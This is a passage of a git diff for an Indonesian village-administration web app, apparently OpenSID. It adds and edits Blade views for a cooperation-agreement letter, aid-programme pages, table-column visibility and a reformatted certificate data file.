      + Kesepakatan Kerjasama ini dapat diakhiri oleh PARA PIHAK + dengan pemberitahuan tertulis dari satu pihak kepada pihak yang lain. +

      +
    4. +
    +
    +

    + PASAL 6
    + PEMBIAYAAN +

    +

    + Desa {{ $desa }} akan berkontribusi dalam pembiayaan gotong-royong nasional + pengembangan dan penerapan aplikasi kelolaan {{ config_item('nama_lembaga') }} sesuai dengan + aplikasi dan layanan yang dimanfaatkan. Pembiayaan tersebut diturunkan + dalam perjanjian atau pemesanan terpisah yang disepakati PARA PIHAK untuk aplikasi dan layanan + yang + digunakan. +

    +
    +

    + PASAL 7
    + PENYELESAIAN PERSELISIHAN +

    +
      +
    1. +

      + Setiap perselisihan, pertentangan dan perbedaan pendapat yang timbul + sehubungan dengan Perjanjian ini akan diselesaikan terlebih dahulu secara + musyawarah dan mufakat oleh PARA PIHAK. +

      +
    2. +
    3. +

      + Apabila penyelesaian secara musyawarah tidak berhasil mencapai mufakat, + maka PARA PIHAK sepakat untuk menyerahkan penyelesaian + perselisihan tersebut melalui Pengadilan. +

      +
    4. +
    5. +

      + + Mengenai Perjanjian ini dan segala akibatnya, PARA PIHAK memilih kediaman hukum atau + domisili + yang tetap + dan umum di Kantor Pengadilan Negeri Kabupaten Lima Puluh Kota. +

      +
    6. +
    +

    +

    + PASAL 8
    + LAIN-LAIN +

    +
      +
    1. +

      + Pelaksanaan Kesepakatan Kerjasama ini tidak terpengaruh dengan terjadinya + pergantian kepemimpinan dari PARA PIHAK. +

      +
    2. +
    3. +

      + Dalam hal terjadi perubahan atau terdapat ketentuan yang belum diatur + dalam Kesepakatan Kerjasama ini dituangkan dalam bentuk addendum + atas persetujuan PARA PIHAK yang merupakan bagian tidak + terpisahkan dari Kesepakatan Kerjasama ini. +

      +
    4. +
    +
    +

    + PASAL 9
    + PENUTUP +

    +
      +
    1. +

      + Kesepakatan Kerjasama ini dibuat dalam rangkap 1 (satu) bermeterai cukup + dan ditandatangani basah oleh PIHAK KESATU dan tanda + tangan digital oleh PIHAK KEDUA. +

      +
    2. +
    3. +

      + Kesepakatan Kerjasama ini disampaikan untuk disepakati PIHAK KEDUA dengan diunggahnya + hasil + scan + Perjanjian ini + yang telah ditandatangani PIHAK KESATU sesuai ayat (1) + melalui fitur pendaftaran Desa Digital {{ config_item('nama_lembaga') }} yang disediakan di aplikasi + {{ config_item('nama_aplikasi') }}. PIHAK KEDUA secara resmi menyatakan persetujuan + dengan Kesepakatan Kerjasama ini dengan mengubah status pendaftaran menjadi + TERDAFTAR. +

      +
    4. +
    5. +

      + Setelah Kesepakatan Kerjasama ini dieksekusi, Desa {{ $desa }} akan resmi + terdaftar sebagai Desa Digital {{ config_item('nama_lembaga') }}, dan berhak mengakses aplikasi, + layanan dan kegiatan yang hanya tersedia bagi desa yang terdaftar sebagai + Desa Digital {{ config_item('nama_lembaga') }}. +

      +
    6. +
    7. +

      + Kesepakatan Kerjasama ini dibuat dengan semangat kerja sama yang baik, + untuk dipatuhi dan dilaksanakan oleh PARA PIHAK. +

      +
    8. +
    +
    + + + + + + + + + + + + + + + + + + + +
    +

    + +

    +
    + Desa {{ $desa }}, {{ tgl_indo(date('Y m d')) }} +
    +

    + PIHAK KESATU, +

    +
    +

    + PIHAK KEDUA, +

    +
    +

    + {{ $kepala_desa }} +

    +
    +

    + LUSIANTO, S.Kom., M.Si +

    +
    + + + diff --git a/resources/views/admin/pendaftaran_kerjasama/terdaftar.blade.php b/resources/views/admin/pendaftaran_kerjasama/terdaftar.blade.php new file mode 100644 index 000000000..403433c5d --- /dev/null +++ b/resources/views/admin/pendaftaran_kerjasama/terdaftar.blade.php @@ -0,0 +1,95 @@ +
    +

    Pendaftaran Kerjasama

    + +
    +
    + @if (!cek_koneksi_internet()) +
    +
    + +

    Tidak Terhubung Dengan Jaringan

    +
    +
    +
    +
    Data Gagal Dimuat, Harap Periksa Jaringan Anda Telebih Dahulu.
    +
    +
    +
    + @else + @if ($response->data->status_registrasi === 'menunggu verifikasi email') +
    +
    + +

    Status Registrasi

    +
    +
    +
    +
    Silahkan cek email Anda untuk memverifikasi.
    +
    +
    +
    + @elseif ($response->data->status_registrasi === 'menunggu verifikasi pendaftaran') +
    +
    + +

    Status Registrasi

    +
    +
    +
    +
    Dokumen permohonan Desa anda sedang diperiksa oleh Pelaksana Layanan {{ config_item('nama_lembaga') }}.
    +
    +
    +
    + @endif +
    +
    + +

    {{ $response->message }}

    +
    +
    +
    Rincian Pelanggan
    +
    + + + + + + + + + + + + + + + + + + + + + {{-- prettier-ignore-start --}} + + {{-- prettier-ignore-end --}} + + + + + + + + + + + + +
    ID Pelanggan:{{ $response->data->id }}
    Status Registrasi:{{ $response->data->status_langganan }}
    KODE {{ strtoupper(setting('sebutan_desa')) }} : {{ $response->data->desa->kode_desa }}
    {{ strtoupper(setting('sebutan_desa')) }} : {{ "Desa {$response->data->desa->nama_desa}, Kecamatan {$response->data->desa->nama_kec}, Kabupaten {$response->data->desa->nama_kab}, Provinsi {$response->data->desa->nama_prov}" }}
    Domain Desa : {{ $response->data->domain }}
    Nama Kontak : {{ "{$response->data->nama_kontak} | {$response->data->no_hp_kontak}" }}
    +
    +
    +
    + @endif +
    diff --git a/resources/views/admin/penduduk/keluarga/index.blade.php b/resources/views/admin/penduduk/keluarga/index.blade.php index 223297b53..88d254bf6 100644 --- a/resources/views/admin/penduduk/keluarga/index.blade.php +++ b/resources/views/admin/penduduk/keluarga/index.blade.php @@ -322,14 +322,6 @@ className: 'text-center', }, }); - if (hapus == 0) { - TableData.column(0).visible(false); - } - - if (ubah == 0) { - TableData.column(2).visible(false); - } - $('#status, #jenis_kelamin, #dusun, #rw, #rt').change(function() { TableData.draw() }) diff --git a/resources/views/admin/penduduk/penduduk_form_isian_bersama.blade.php b/resources/views/admin/penduduk/penduduk_form_isian_bersama.blade.php index 231e3ce8f..14c194c56 100644 --- a/resources/views/admin/penduduk/penduduk_form_isian_bersama.blade.php +++ b/resources/views/admin/penduduk/penduduk_form_isian_bersama.blade.php @@ -583,7 +583,7 @@ class="form-control input-sm nomor_sk" {{ 'KK' }} @endif - @foreach ($wilayah as $keyDusun => $dusun) diff --git a/resources/views/admin/pengaturan/index.blade.php b/resources/views/admin/pengaturan/index.blade.php index 2647fe871..c8b01d5e1 100644 --- a/resources/views/admin/pengaturan/index.blade.php +++ b/resources/views/admin/pengaturan/index.blade.php @@ -17,7 +17,7 @@ @include('admin.layouts.components.notifikasi')
    - {!! form_open_multipart(ci_route('notif.update_setting'), 'id="validasi" class="form-horizontal"') !!} + {!! form_open_multipart(isset($aksi_controller) ? $aksi_controller : ci_route('notif.update_setting'), 'id="validasi" class="form-horizontal"') !!} @if ($atur_latar)
    @if (in_array('sistem', $pengaturan_kategori ?? [])) diff --git a/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php b/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php index 77990c70f..bbfc748af 100644 --- a/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php +++ b/resources/views/admin/pengaturan_surat/partials/pengaturan_kodeisian.blade.php @@ -18,7 +18,7 @@
    @@ -30,9 +30,9 @@ data-toggle="modal" data-backdrop="false" data-keyboard="false" - class="btn btn-sm btn-flat btn-warning can-edit" + class="btn btn-sm btn-warning can-edit" > - +
    - - + +
    + + + + + + + + + + + + + + + + + +
    + + + +

    PEMERINTAH setting->sebutan_kabupaten)?>

    +

    +

    setting->sebutan_kecamatan)?>

    +

    setting->sebutan_desa) . ' ' . strtoupper($config['nama_desa'])?>

    +
    +
    +
    +

    Daftar Peserta Program

    +
    + Sasaran Peserta :
    + Masa Berlaku :
    + Keterangan : +
    + + + + + + + + + + + + + + + + + + + + + + + $item): ?> + + + + + + + + + + + + + + + + + +
    NoIdentitas di Kartu Peserta
    No. Kartu PesertaNIKNamaTempat LahirTanggal LahirJenis KelaminAlamat
    +
    + + + + \ No newline at end of file diff --git a/resources/views/admin/program_bantuan/create.blade.php b/resources/views/admin/program_bantuan/create.blade.php new file mode 100644 index 000000000..4b3bcbd28 --- /dev/null +++ b/resources/views/admin/program_bantuan/create.blade.php @@ -0,0 +1,115 @@ +@include('admin.pengaturan_surat.asset_tinymce') +@include('admin.layouts.components.asset_datatables') +@include('admin.layouts.components.jquery_ui') +@include('admin.layouts.components.asset_validasi') +@include('admin.layouts.components.datetime_picker') + +@extends('admin.layouts.index') + +@section('title') +

    Tambah Program Bantuan

    +@endsection + +@section('breadcrumb') +
  • Daftar Program Bantuan
  • +
  • Tambah Program Bantuan
  • +@endsection + +@section('content') + @include('admin.layouts.components.notifikasi') +
    + +
    +
    + @php $cid = $_REQUEST['cid']; @endphp +
    + +
    + +
    +
    + +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    + +
    +
    +@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/program_bantuan/edit.blade.php b/resources/views/admin/program_bantuan/edit.blade.php new file mode 100644 index 000000000..435b8869a --- /dev/null +++ b/resources/views/admin/program_bantuan/edit.blade.php @@ -0,0 +1,125 @@ +@include('admin.pengaturan_surat.asset_tinymce') +@include('admin.layouts.components.asset_datatables') +@include('admin.layouts.components.jquery_ui') +@include('admin.layouts.components.asset_validasi') +@include('admin.layouts.components.datetime_picker') + +@extends('admin.layouts.index') + +@section('title') +

    Ubah Program Bantuan {{ $nama_excerpt }}

    +@endsection +@section('breadcrumb') +
  • Daftar Program Bantuan
  • +
  • Ubah Program Bantuan {{ $nama_excerpt }}
  • +@endsection + +@section('content') + @include('admin.layouts.components.notifikasi') +
    + +
    +
    + @php $cid = $program['sasaran'] @endphp +
    + +
    + @if ($program['peserta_count'] != 0) + + + @endif + + @foreach ($sasaran as $key => $item) + + @endforeach + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    + +
    +@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/program_bantuan/edit_peserta.php b/resources/views/admin/program_bantuan/edit_peserta.php new file mode 100644 index 000000000..e1bfec0af --- /dev/null +++ b/resources/views/admin/program_bantuan/edit_peserta.php @@ -0,0 +1,120 @@ + + + + + + + + diff --git a/resources/views/admin/program_bantuan/hasil_pembersihan.blade.php b/resources/views/admin/program_bantuan/hasil_pembersihan.blade.php new file mode 100644 index 000000000..84a4d7c7f --- /dev/null +++ b/resources/views/admin/program_bantuan/hasil_pembersihan.blade.php @@ -0,0 +1,100 @@ +@include('admin.pengaturan_surat.asset_tinymce') +@include('admin.layouts.components.asset_datatables') +@include('admin.layouts.components.jquery_ui') + +@extends('admin.layouts.index') + +@section('title') +

    Pembersihan Data Peserta Program Bantuan

    +@endsection + +@section('breadcrumb') +
  • Daftar Program Bantuan
  • +
  • Pembersihan Data Peserta Program Bantuan
  • +@endsection + +@section('content') + @include('admin.layouts.components.notifikasi') +
    +
    +
    +
    + +
    +

    Data Peserta Tidak Valid

    +

    Sasaran (penduduk, keluarga, rumah tangga, kelompok) peserta tidak valid berikut telah dihapus dari program bantuannya.

    +
    + + + + + + @forelse ($invalid as $key => $peserta) + + + + + + + + + @empty + + + + @endforelse + +
    No. + Program Bantuan + Sasaran + ID Peserta (NIK/No KK/Kode RTM/Kode Kelompok) + Nama Kartu Peserta +
    {{ $key + 1 }}{{ $peserta->nama }}{{ $ref_sasaran[$peserta->sasaran] }}{{ $peserta->peserta }}{{ $peserta->kartu_nama }}
    Tidak ada peserta yang tidak valid
    +
    +

    Data Peserta Duplikat

    +

    Peserta duplikat berikut telah dihapus dari program bantuannya.

    +
    + + + + + + + @forelse ($duplikat as $key => $peserta) + + + + + + + + + + @empty + + + + @endforelse + +
    No. + Program Bantuan + Sasaran + ID Peserta (NIK/No KK/Kode RTM/Kode Kelompok) + Nama Kartu Peserta + Jumlah Duplikat
    {{ $key + 1 }}{{ $peserta->nama }}{{ $ref_sasaran[$peserta->sasaran] }}{{ $peserta->peserta }}{{ $peserta->kartu_nama }}{{ $peserta->jumlah }}
    Tidak ada peserta duplikat
    +
    +
    +
    +
    +
    +
    +@endsection + +@include('admin.layouts.components.konfirmasi_hapus') +@include('admin.layouts.components.konfirmasi') diff --git a/resources/views/admin/program_bantuan/panduan.blade.php b/resources/views/admin/program_bantuan/panduan.blade.php new file mode 100644 index 000000000..feee33e8b --- /dev/null +++ b/resources/views/admin/program_bantuan/panduan.blade.php @@ -0,0 +1,49 @@ +@extends('admin.layouts.index') + +@section('title') +

    Panduan Program Bantuan

    +@endsection + +@section('breadcrumb') +
  • Daftar Program Bantuan
  • +
  • Panduan Program Bantuan
  • +@endsection + +@section('content') +
    +
    +
    + +
    +

    Keterangan

    +

    Program Bantuan adalah modul untuk pengelolaan data aktivitas program kerja + dan keterlibatan warga, baik secara personal, keluarga, rumah tangga, maupun + kelompok/organisasi.

    +

    Panduan

    +

    Cara menyimpan/memperbarui data Program Bantuan adalah dengan mengisikan formulir yang + terdapat dari menu Tulis Program Bantuan Baru:

    +

    +

      +
    • Kolom Sasaran Program +

      Pilihlah salah satu dari sasaran program, apakah pribadi/perorangan, keluarga/kk, + Rumah Tangga, ataupu Organisasi/kelompok warga

      +
    • +
    • Kolom Nama Program +

      Nama program wajib diisi

      +
    • +
    • Kolom Keterangan Program +

      Isikan keterangan program ini

      +
    • +
    • Kolom Rentang Waktu +

      Isikan keterangan waktu masa kerja program akan berlangsung

      +
    • +
    +

    +
    +
    +
    +
    +@endsection diff --git a/resources/views/admin/program_bantuan/program.blade.php b/resources/views/admin/program_bantuan/program.blade.php new file mode 100644 index 000000000..d95824983 --- /dev/null +++ b/resources/views/admin/program_bantuan/program.blade.php @@ -0,0 +1,183 @@ +@include('admin.pengaturan_surat.asset_tinymce') +@include('admin.layouts.components.asset_datatables') +@include('admin.layouts.components.jquery_ui') + +@extends('admin.layouts.index') + +@section('title') +

    Daftar Program Bantuan

    +@endsection + +@section('breadcrumb') +
  • Daftar Program Bantuan
  • +@endsection + + + +@section('content') + @include('admin.layouts.components.notifikasi') +
    +
    +
    +
    + @if (can('u')) + Tambah + Impor + @endif + Panduan + @if (can('h')) + Bersihkan Data + Peserta Tidak Valid + @endif + @if ($tampil != 0) + Kembali Ke Daftar + Program Bantuan + @endif +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + @include('admin.layouts.components.konfirmasi_hapus') + @include('admin.layouts.components.konfirmasi') + @include('admin.layouts.components.program_bantuan.impor') +@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/shortcut/form.blade.php b/resources/views/admin/shortcut/form.blade.php index 908fdc7ea..86296245a 100644 --- a/resources/views/admin/shortcut/form.blade.php +++ b/resources/views/admin/shortcut/form.blade.php @@ -45,7 +45,7 @@
    - @foreach ($moduls as $kslug => $mdl)
    @@ -89,7 +89,7 @@
    @@ -103,7 +103,7 @@ @@ -163,7 +163,7 @@ @@ -177,7 +177,7 @@ @@ -205,7 +205,7 @@ diff --git a/resources/views/admin/surat_keluar/index.blade.php b/resources/views/admin/surat_keluar/index.blade.php index 8091ca352..2497afb66 100644 --- a/resources/views/admin/surat_keluar/index.blade.php +++ b/resources/views/admin/surat_keluar/index.blade.php @@ -68,6 +68,9 @@ class="btn btn-social bg-navy btn-sm visible-xs-block visible-sm-inline-block vi responsive: true, processing: true, serverSide: true, + order: [ + [4, 'desc'] + ], ajax: { url: "{{ ci_route('surat_keluar.datatables') }}", data: function(req) { @@ -111,9 +114,12 @@ class: 'aksi', orderable: false }, ], - order: [] }); + if (hapus == 0) { + TableData.column(0).visible(false); + } + $('#tahun').change(function() { TableData.draw() }) diff --git a/resources/views/admin/surat_masuk/index.blade.php b/resources/views/admin/surat_masuk/index.blade.php index cb37637c1..eac00d903 100644 --- a/resources/views/admin/surat_masuk/index.blade.php +++ b/resources/views/admin/surat_masuk/index.blade.php @@ -68,6 +68,9 @@ class="btn btn-social bg-navy btn-sm visible-xs-block visible-sm-inline-block vi responsive: true, processing: true, serverSide: true, + order: [ + [3, 'desc'] + ], ajax: { url: "{{ ci_route('surat_masuk.datatables') }}", data: function(req) { @@ -117,9 +120,12 @@ class: 'aksi', orderable: false }, ], - order: [] }); + if (hapus == 0) { + TableData.column(0).visible(false); + } + $('#tahun').change(function() { TableData.draw() }) diff --git a/resources/views/admin/web/gallery/index.blade.php b/resources/views/admin/web/gallery/index.blade.php index 1974d75c8..d4af81f37 100644 --- a/resources/views/admin/web/gallery/index.blade.php +++ b/resources/views/admin/web/gallery/index.blade.php @@ -159,6 +159,7 @@ class: 'aksi', } if (ubah == 0) { + TableData.column(0).visible(false); TableData.column(3).visible(false); } diff --git a/resources/views/admin/web/kategori/index.blade.php b/resources/views/admin/web/kategori/index.blade.php index 23cb1cce7..f4903f1f5 100644 --- a/resources/views/admin/web/kategori/index.blade.php +++ b/resources/views/admin/web/kategori/index.blade.php @@ -156,6 +156,7 @@ class: 'aksi', } if (ubah == 0) { + TableData.column(0).visible(false); TableData.column(3).visible(false); } diff --git a/resources/views/admin/web/menu/index.blade.php b/resources/views/admin/web/menu/index.blade.php index b10c23d95..9d130d72f 100644 --- a/resources/views/admin/web/menu/index.blade.php +++ b/resources/views/admin/web/menu/index.blade.php @@ -151,6 +151,7 @@ class: 'aksi', } if (ubah == 0) { + TableData.column(0).visible(false); TableData.column(3).visible(false); } diff --git a/resources/views/admin/web/teks_berjalan/index.blade.php b/resources/views/admin/web/teks_berjalan/index.blade.php index 81a802973..a53209b6b 100644 --- a/resources/views/admin/web/teks_berjalan/index.blade.php +++ b/resources/views/admin/web/teks_berjalan/index.blade.php @@ -127,6 +127,7 @@ class: 'aksi', } if (ubah == 0) { + TableData.column(0).visible(false); TableData.column(3).visible(false); } @include('admin.layouts.components.draggable', ['urlDraggable' => ci_route('teks_berjalan.tukar')]) diff --git a/resources/views/admin/web/widget/form.blade.php b/resources/views/admin/web/widget/form.blade.php index 6483274da..e69ed3df8 100644 --- a/resources/views/admin/web/widget/form.blade.php +++ b/resources/views/admin/web/widget/form.blade.php @@ -40,7 +40,7 @@ @endif
    - + diff --git a/resources/views/admin/web/widget/form_admin/admin_aparatur_desa.blade.php b/resources/views/admin/web/widget/form_admin/admin_aparatur_desa.blade.php index 07e2e15e6..fd15a5f5c 100644 --- a/resources/views/admin/web/widget/form_admin/admin_aparatur_desa.blade.php +++ b/resources/views/admin/web/widget/form_admin/admin_aparatur_desa.blade.php @@ -27,7 +27,7 @@

    Widget {{ $pemerintah }} menampilkan foto staf {{ $pemerintah }}. Klik tombol berikut untuk mengubah data dan foto staf {{ $pemerintah }}

    - {{ $pemerintah }} + {{ $pemerintah }}
    diff --git a/resources/views/admin/web/widget/index.blade.php b/resources/views/admin/web/widget/index.blade.php index 9e05014f8..50bbca0c2 100644 --- a/resources/views/admin/web/widget/index.blade.php +++ b/resources/views/admin/web/widget/index.blade.php @@ -154,6 +154,7 @@ class: 'aksi', } if (ubah == 0) { + TableData.column(0).visible(false); TableData.column(3).visible(false); } diff --git a/resources/views/admin/wilayah/index.blade.php b/resources/views/admin/wilayah/index.blade.php index 2bc563344..0dd5fcc8b 100644 --- a/resources/views/admin/wilayah/index.blade.php +++ b/resources/views/admin/wilayah/index.blade.php @@ -250,16 +250,15 @@ class: 'aksi', if (level !== 'dusun') { if (level !== 'rw') { TableData.column(7).visible(false); + if (hapus == 0 && ubah == 0) { + TableData.column(2).visible(false); + } } TableData.column(6).visible(false); } - if (hapus == 0) { - TableData.column(1).visible(false); - } - if (ubah == 0) { - TableData.column(3).visible(false); + TableData.column(0).visible(false); } // harus diletakkan didalam blok ini, jika tidak maka object TableData tidak dikenal @include('admin.layouts.components.draggable', ['urlDraggable' => ci_route('wilayah.tukar')]) diff --git a/storage/app/template/lampiran/f-2.01/data.php b/storage/app/template/lampiran/f-2.01/data.php index f24c383f4..27dbdf713 100644 --- a/storage/app/template/lampiran/f-2.01/data.php +++ b/storage/app/template/lampiran/f-2.01/data.php @@ -35,171 +35,99 @@ * */ - defined('BASEPATH') || exit('No direct script access allowed'); +defined('BASEPATH') || exit('No direct script access allowed'); - switch ($surat->url_surat) { - case 'surat-keterangan-kelahiran': - $format_f201 = 1; - $tampil_data_anak = true; - $tampil_data_orang_tua = true; - $tampil_data_pelapor = true; - $tampil_data_saksi = true; - $tampil_data_kematian = true; - $tampil_data_subjek_akta_1 = true; - $tampil_data_subjek_akta_2 = true; - $tampil_data_lahir_mati = true; - $tampil_data_perkawinan = true; - $tampil_data_perceraian = true; - $tampil_data_pengankatan_anak = true; - $tampil_data_pengakuan_anak = true; - $tampil_data_pengesahan_anak = true; - $tampil_data_perubahan_nama = true; - $tampil_data_perubahan_status_kewarganeraan = true; - $tampil_data_perubahan_peristiwa_lain = true; - $tampil_data_perubahan_akta = true; - $tampil_data_pelaporan_luar_nkri = true; - break; +switch ($surat->url_surat) { + case 'surat-keterangan-kelahiran': + $format_f201 = 1; + $tampil_data_anak = true; + $tampil_data_orang_tua = true; + $tampil_data_pelapor = true; + $tampil_data_saksi = true; + $tampil_data_kematian = true; + $tampil_data_subjek_akta_1 = true; + $tampil_data_subjek_akta_2 = true; + $tampil_data_lahir_mati = true; + $tampil_data_perkawinan = true; + $tampil_data_perceraian = true; + $tampil_data_pengankatan_anak = true; + $tampil_data_pengakuan_anak = true; + $tampil_data_pengesahan_anak = true; + $tampil_data_perubahan_nama = true; + $tampil_data_perubahan_status_kewarganeraan = true; + $tampil_data_perubahan_peristiwa_lain = true; + $tampil_data_perubahan_akta = true; + $tampil_data_pelaporan_luar_nkri = true; + break; - case 'surat-keterangan-kematian': - $format_f201 = 7; - $tampil_data_kematian = true; - $tampil_data_orang_tua = true; - $tampil_data_pelapor = true; - $tampil_data_saksi = true; - break; + case 'surat-keterangan-kematian': + $format_f201 = 7; + $tampil_data_kematian = true; + $tampil_data_orang_tua = true; + $tampil_data_pelapor = true; + $tampil_data_saksi = true; + break; - default: - // code... - break; - } + default: + // code... + break; +} - $individu['umur'] = str_pad($individu['umur'], 3, '0', STR_PAD_LEFT); +// include data pelapor dan saksi +include STORAGEPATH . 'app/template/lampiran/kode_pelapor_saksi.php'; - $ibu = $this->surat_model->surat_model->get_data_ibu($individu['id']); - if ($ibu) { - $input['nik_ibu'] = get_nik($ibu['nik']); - $input['nama_ibu'] = $ibu['nama']; - $input['tempat_lahir_ibu'] = strtoupper($ibu['tempatlahir']); - $input['tanggal_lahir_ibu'] = $ibu['tanggallahir']; - $input['umur_ibu'] = str_pad($ibu['umur'], 3, '0', STR_PAD_LEFT); - $input['pekerjaanid_ibu'] = str_pad($ibu['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaanibu'] = $ibu['pek']; - $input['alamat_ibu'] = trim($ibu['alamat'] . ' ' . $ibu['dusun']); - $input['rt_ibu'] = $ibu['rt']; - $input['rw_ibu'] = $ibu['rw']; - $input['desaibu'] = $config['nama_desa']; - $input['kecibu'] = $config['nama_kecamatan']; - $input['kabibu'] = $config['nama_kabupaten']; - $input['provinsiibu'] = $config['nama_propinsi']; - $input['kewarganegaraan_ibu'] = $ibu['wn']; - } else { - $input['pekerjaanid_ibu'] = str_pad($input['pekerjaanid_ibu'], 2, '0', STR_PAD_LEFT); - $input['umur_ibu'] = str_pad($input['umur_ibu'], 3, '0', STR_PAD_LEFT); - } +$individu['umur'] = str_pad($individu['umur'], 3, '0', STR_PAD_LEFT); - $ayah = $this->surat_model->get_data_ayah($individu['id']); - if ($ayah) { - $input['nik_ayah'] = get_nik($ayah['nik']); - $input['nama_ayah'] = $ayah['nama']; - $input['tempat_lahir_ayah'] = strtoupper($ayah['tempatlahir']); - $input['tanggal_lahir_ayah'] = $ayah['tanggallahir']; - $input['umur_ayah'] = str_pad($ayah['umur'], 3, '0', STR_PAD_LEFT); - $input['pekerjaanid_ayah'] = str_pad($ayah['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaanayah'] = $ayah['pek']; - $input['alamat_ayah'] = trim($ayah['alamat'] . ' ' . $ayah['dusun']); - $input['rt_ayah'] = $ayah['rt']; - $input['rw_ayah'] = $ayah['rw']; - $input['desaayah'] = $config['nama_desa']; - $input['kecayah'] = $config['nama_kecamatan']; - $input['kabayah'] = $config['nama_kabupaten']; - $input['provinsiayah'] = $config['nama_propinsi']; - $input['kewarganegaraan_ayah'] = $ayah['wn']; - } else { - $input['pekerjaanid_ayah'] = str_pad($input['pekerjaanid_ayah'], 2, '0', STR_PAD_LEFT); - $input['umur_ayah'] = str_pad($input['umur_ayah'], 3, '0', STR_PAD_LEFT); - } +$ibu = $this->surat_model->surat_model->get_data_ibu($individu['id']); +if ($ibu) { + $input['nik_ibu'] = get_nik($ibu['nik']); + $input['nama_ibu'] = $ibu['nama']; + $input['tempat_lahir_ibu'] = strtoupper($ibu['tempatlahir']); + $input['tanggal_lahir_ibu'] = $ibu['tanggallahir']; + $input['umur_ibu'] = str_pad($ibu['umur'], 3, '0', STR_PAD_LEFT); + $input['pekerjaanid_ibu'] = str_pad($ibu['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaanibu'] = $ibu['pek']; + $input['alamat_ibu'] = trim($ibu['alamat'] . ' ' . $ibu['dusun']); + $input['rt_ibu'] = $ibu['rt']; + $input['rw_ibu'] = $ibu['rw']; + $input['desaibu'] = $config['nama_desa']; + $input['kecibu'] = $config['nama_kecamatan']; + $input['kabibu'] = $config['nama_kabupaten']; + $input['provinsiibu'] = $config['nama_propinsi']; + $input['kewarganegaraan_ibu'] = $ibu['wn']; +} else { + $input['pekerjaanid_ibu'] = str_pad($input['pekerjaanid_ibu'], 2, '0', STR_PAD_LEFT); + $input['umur_ibu'] = str_pad($input['umur_ibu'], 3, '0', STR_PAD_LEFT); +} - if ($input['id_pend_pelapor']) { - $pelapor = $this->surat_model->get_data_surat($input['id_pend_pelapor']); - $input['nik_pelapor'] = get_nik($pelapor['nik']); - $input['nama_pelapor'] = $pelapor['nama']; - $input['tanggal_lahir_pelapor'] = $pelapor['tanggallahir']; - $input['umur_pelapor'] = str_pad($pelapor['umur'], 3, '0', STR_PAD_LEFT); - $input['jkpelapor'] = $pelapor['sex_id']; - $input['pekerjaanid_pelapor'] = str_pad($pelapor['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaanpelapor'] = $pelapor['pekerjaan']; - $input['alamat_pelapor'] = trim($pelapor['alamat'] . ' ' . $pelapor['dusun']); - $input['rt_pelapor'] = $pelapor['rt']; - $input['rw_pelapor'] = $pelapor['rw']; - $input['desapelapor'] = $config['nama_desa']; - $input['kecpelapor'] = $config['nama_kecamatan']; - $input['kabpelapor'] = $config['nama_kabupaten']; - $input['provinsipelapor'] = $config['nama_propinsi']; +$ayah = $this->surat_model->get_data_ayah($individu['id']); +if ($ayah) { + $input['nik_ayah'] = get_nik($ayah['nik']); + $input['nama_ayah'] = $ayah['nama']; + $input['tempat_lahir_ayah'] = strtoupper($ayah['tempatlahir']); + $input['tanggal_lahir_ayah'] = $ayah['tanggallahir']; + $input['umur_ayah'] = str_pad($ayah['umur'], 3, '0', STR_PAD_LEFT); + $input['pekerjaanid_ayah'] = str_pad($ayah['pekerjaan_id'], 2, '0', STR_PAD_LEFT); + $input['pekerjaanayah'] = $ayah['pek']; + $input['alamat_ayah'] = trim($ayah['alamat'] . ' ' . $ayah['dusun']); + $input['rt_ayah'] = $ayah['rt']; + $input['rw_ayah'] = $ayah['rw']; + $input['desaayah'] = $config['nama_desa']; + $input['kecayah'] = $config['nama_kecamatan']; + $input['kabayah'] = $config['nama_kabupaten']; + $input['provinsiayah'] = $config['nama_propinsi']; + $input['kewarganegaraan_ayah'] = $ayah['wn']; +} else { + $input['pekerjaanid_ayah'] = str_pad($input['pekerjaanid_ayah'], 2, '0', STR_PAD_LEFT); + $input['umur_ayah'] = str_pad($input['umur_ayah'], 3, '0', STR_PAD_LEFT); +} - // Tambahan - $input['no_kk_pelapor'] = $pelapor['no_kk']; - $input['kewarganegaraan_pelapor'] = $pelapor['warganegara']; - } else { - $input['pekerjaanid_pelapor'] = str_pad($input['pekerjaanid_pelapor'], 2, '0', STR_PAD_LEFT); - $input['umur_pelapor'] = str_pad($input['umur_pelapor'], 3, '0', STR_PAD_LEFT); - } - - if ($input['id_pend_saksi_i']) { - $saksi1 = $this->surat_model->get_data_surat($input['id_pend_saksi_i']); - $input['nik_saksi1'] = get_nik($saksi1['nik']); - $input['nama_saksi1'] = $saksi1['nama']; - $input['tanggal_lahir_saksi1'] = $saksi1['tanggallahir']; - $input['umur_saksi1'] = str_pad($saksi1['umur'], 3, '0', STR_PAD_LEFT); - $input['jksaksi1'] = $saksi1['sex_id']; - $input['pekerjaanid_saksi1'] = str_pad($saksi1['pekerjaan_id'], 2, '0', STR_PAD_LEFT); - $input['pekerjaansaksi1'] = $saksi1['pekerjaan']; - $input['alamat_saksi1'] = trim($saksi1['alamat'] . ' ' . $saksi1['dusun']); - $input['rt_saksi1'] = $saksi1['rt']; - $input['rw_saksi1'] = $saksi1['rw']; - $input['desasaksi1'] = $config['nama_desa']; - $input['kecsaksi1'] = $config['nama_kecamatan']; - $input['kabsaksi1'] = $config['nama_kabupaten']; - $input['provinsisaksi1'] = $config['nama_propinsi']; - - // Tambahan - $input['no_kk_saksi1'] = $saksi1['no_kk']; - $input['kewarganegaraan_saksi1'] = $saksi1['warganegara']; - } else { - $input['pekerjaanid_saksi1'] = str_pad($input['pekerjaanid_saksi1'], 2, '0', STR_PAD_LEFT); - 